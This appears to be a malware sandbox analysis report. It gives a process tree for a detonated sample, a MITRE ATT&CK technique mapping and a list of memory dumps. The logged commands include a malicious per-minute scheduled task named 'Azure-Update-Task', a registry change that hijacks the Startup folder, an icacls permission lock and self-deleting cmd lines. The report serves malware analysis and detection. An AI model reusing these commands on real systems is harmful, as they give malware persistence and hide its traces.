  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3840

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2444
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D0A0FCFC1759AD2227DCA8DCA1F1B124 C
  2⤵
  PID:3464
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E4DF2A6EBA4C40DB9B519F1885D443A4
  2⤵
  PID:3836
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:3372
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 911C0F6BABC14B03A352A556745EDCF8 M Global\MSI0000
  2⤵
  PID:3600

C:\Windows\system32\taskeng.exe
taskeng.exe {DC6EEAD0-D721-4248-A550-EE0B66BA2978} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:3576
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
  2⤵
  PID:3284
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
  2⤵
  PID:3552
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
  2⤵
  PID:4000
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
  2⤵
  PID:1668
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
  2⤵
  PID:3428
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
  2⤵
  PID:3640
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
  2⤵
  PID:6656
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
  2⤵
  PID:1596

C:\Windows\system32\taskeng.exe
taskeng.exe {FA009ED2-8222-4755-90C7-CBD1563C982A} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]
1⤵
PID:3344
- C:\Users\Admin\AppData\Roaming\ttrcstc
  C:\Users\Admin\AppData\Roaming\ttrcstc
  2⤵
  PID:5624

C:\Windows\system32\taskeng.exe
taskeng.exe {CEC6795F-F9C4-44ED-B720-0D4045B65B3D} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]
1⤵
PID:8412
- C:\Users\Admin\AppData\Roaming\ttrcstc
  C:\Users\Admin\AppData\Roaming\ttrcstc
  2⤵
  PID:3092
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:2948
- C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe
  C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe
  2⤵
  PID:6584

C:\Users\Admin\AppData\Local\Temp\BC9B.exe
C:\Users\Admin\AppData\Local\Temp\BC9B.exe
1⤵
PID:8752

C:\Users\Admin\AppData\Local\Temp\253E.exe
C:\Users\Admin\AppData\Local\Temp\253E.exe
1⤵
PID:8976
- C:\Users\Admin\AppData\Local\Temp\253E.exe
  C:\Users\Admin\AppData\Local\Temp\253E.exe
  2⤵
  PID:968
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\96cd4084-7f8f-4a91-8a52-fc1db2ff137b" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:6520
- - C:\Users\Admin\AppData\Local\Temp\253E.exe
    "C:\Users\Admin\AppData\Local\Temp\253E.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:8464
  - - C:\Users\Admin\AppData\Local\Temp\253E.exe
      "C:\Users\Admin\AppData\Local\Temp\253E.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:8140
    - - C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build2.exe
        
        "C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build2.exe"
        5⤵
        
        PID:4156
      - C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build2.exe
        
        "C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build2.exe"
        6⤵
        
        PID:4704
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:8188
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:432
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:4580
    - - C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build3.exe
        
        "C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build3.exe"
        5⤵
        
        PID:328
      - C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build3.exe
        
        "C:\Users\Admin\AppData\Local\ddb34b57-4c30-4493-8413-497b5f1d89b8\build3.exe"
        6⤵
        
        PID:4600
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4528

C:\Users\Admin\AppData\Local\Temp\F6DF.exe
C:\Users\Admin\AppData\Local\Temp\F6DF.exe
1⤵
PID:4492
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4492 -s 1352
  2⤵
  - Program crash
  PID:3520

C:\Users\Admin\AppData\Local\Temp\340F.exe
C:\Users\Admin\AppData\Local\Temp\340F.exe
1⤵
PID:3620

C:\Users\Admin\AppData\Local\Temp\5DAF.exe
C:\Users\Admin\AppData\Local\Temp\5DAF.exe
1⤵
PID:4400
- C:\Users\Admin\AppData\Local\Temp\xRqlnRhCxr.exe
  "C:\Users\Admin\AppData\Local\Temp\xRqlnRhCxr.exe"
  2⤵
  PID:8536
- - C:\Users\Admin\AppData\Local\Temp\is-C5PTD.tmp\xRqlnRhCxr.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-C5PTD.tmp\xRqlnRhCxr.tmp" /SL5="$60662,6028787,831488,C:\Users\Admin\AppData\Local\Temp\xRqlnRhCxr.exe"
    3⤵
    PID:6536
  - - C:\Users\Admin\AppData\Local\Temp\xRqlnRhCxr.exe
      "C:\Users\Admin\AppData\Local\Temp\xRqlnRhCxr.exe" /VERYSILENT
      4⤵
      PID:6784
    - - C:\Users\Admin\AppData\Local\Temp\is-JUTIO.tmp\xRqlnRhCxr.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JUTIO.tmp\xRqlnRhCxr.tmp" /SL5="$70662,6028787,831488,C:\Users\Admin\AppData\Local\Temp\xRqlnRhCxr.exe" /VERYSILENT
        5⤵
        
        PID:8696
      - C:\Users\Admin\AppData\Roaming\Advanced Installer Components\ConflictsDetector.exe
        
        "C:\Users\Admin\AppData\Roaming\Advanced Installer Components\ConflictsDetector.exe"
        6⤵
        
        PID:4180
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5DAF.exe"
  2⤵
  PID:8380
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:8484
- C:\Users\Admin\AppData\Local\Temp\w6Q0OdBQvK.exe
  "C:\Users\Admin\AppData\Local\Temp\w6Q0OdBQvK.exe"
  2⤵
  PID:7132
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 7132 -s 1600
    3⤵
    - Program crash
    PID:6880

C:\Users\Admin\AppData\Local\Temp\8AD7.exe
C:\Users\Admin\AppData\Local\Temp\8AD7.exe
1⤵
PID:3332
- C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe
  "C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe"
  2⤵
  PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8a643770bf\
    3⤵
    PID:8480
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8a643770bf\
      4⤵
      PID:8840
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN drbux.exe /TR "C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:8740

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x514
1⤵
PID:4680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/340-224-0x0000000004C60000-0x0000000004C61000-memory.dmp

Filesize
4KB

Download
memory/340-210-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Filesize
4KB

Download
memory/612-164-0x0000000001310000-0x0000000001311000-memory.dmp

Filesize
4KB

Download
memory/736-131-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/788-263-0x0000000000400000-0x00000000021BE000-memory.dmp

Filesize
29.7MB

Download
memory/788-254-0x00000000026E0000-0x000000000449E000-memory.dmp

Filesize
29.7MB

Download
memory/884-269-0x0000000000240000-0x000000000026F000-memory.dmp

Filesize
188KB

Download
memory/888-188-0x0000000000400000-0x0000000000401000-memory.dmp

Filesize
4KB

Download
memory/888-187-0x00000000003F0000-0x00000000003FC000-memory.dmp

Filesize
48KB

Download
memory/888-186-0x00000000003A0000-0x00000000003A1000-memory.dmp

Filesize
4KB

Download
memory/888-184-0x0000000001300000-0x0000000001301000-memory.dmp

Filesize
4KB

Download
memory/1080-53-0x0000000075471000-0x0000000075473000-memory.dmp

Filesize
8KB

Download
memory/1276-177-0x000000013FAA0000-0x000000013FAA1000-memory.dmp

Filesize
4KB

Download
memory/1276-201-0x0000000000660000-0x000000000066A000-memory.dmp

Filesize
40KB

Download
memory/1276-202-0x00000000005D0000-0x00000000005D2000-memory.dmp

Filesize
8KB

Download
memory/1456-197-0x000000001B1B0000-0x000000001B1B2000-memory.dmp

Filesize
8KB

Download
memory/1456-195-0x0000000000F20000-0x0000000000F21000-memory.dmp

Filesize
4KB

Download
memory/1480-198-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/1532-148-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/1532-146-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1588-175-0x000000001AC60000-0x000000001AC62000-memory.dmp

Filesize
8KB

Download
memory/1588-169-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/1588-174-0x0000000000460000-0x000000000049E000-memory.dmp

Filesize
248KB

Download
memory/1672-200-0x000007FEFB611000-0x000007FEFB613000-memory.dmp

Filesize
8KB

Download
memory/1672-221-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/1732-154-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

Filesize
4KB

Download
memory/1732-156-0x0000000000460000-0x0000000000476000-memory.dmp

Filesize
88KB

Download
memory/1732-157-0x000000001B020000-0x000000001B022000-memory.dmp

Filesize
8KB

Download
memory/1968-190-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Filesize
4KB

Download
memory/1968-192-0x00000000004D0000-0x00000000004E7000-memory.dmp

Filesize
92KB

Download
memory/1968-193-0x000000001AD90000-0x000000001AD92000-memory.dmp

Filesize
8KB

Download
memory/2012-265-0x0000000000240000-0x0000000000249000-memory.dmp

Filesize
36KB

Download
memory/2016-88-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2016-84-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/2016-82-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/2016-86-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2016-83-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2016-94-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2016-103-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/2016-92-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2016-113-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/2016-107-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2152-250-0x0000000006631000-0x0000000006632000-memory.dmp

Filesize
4KB

Download
memory/2152-251-0x0000000006632000-0x0000000006633000-memory.dmp

Filesize
4KB

Download
memory/2152-255-0x0000000006634000-0x0000000006636000-memory.dmp

Filesize
8KB

Download
memory/2152-253-0x0000000006633000-0x0000000006634000-memory.dmp

Filesize
4KB

Download
memory/2152-246-0x0000000000250000-0x0000000000280000-memory.dmp

Filesize
192KB

Download
memory/2152-247-0x0000000000400000-0x000000000216E000-memory.dmp

Filesize
29.4MB

Download
memory/2248-228-0x0000000000E40000-0x0000000000E41000-memory.dmp

Filesize
4KB

Download
memory/2272-220-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2348-232-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/2448-236-0x000000013F1D0000-0x000000013F1D1000-memory.dmp

Filesize
4KB

Download
memory/2480-252-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download
memory/2532-245-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads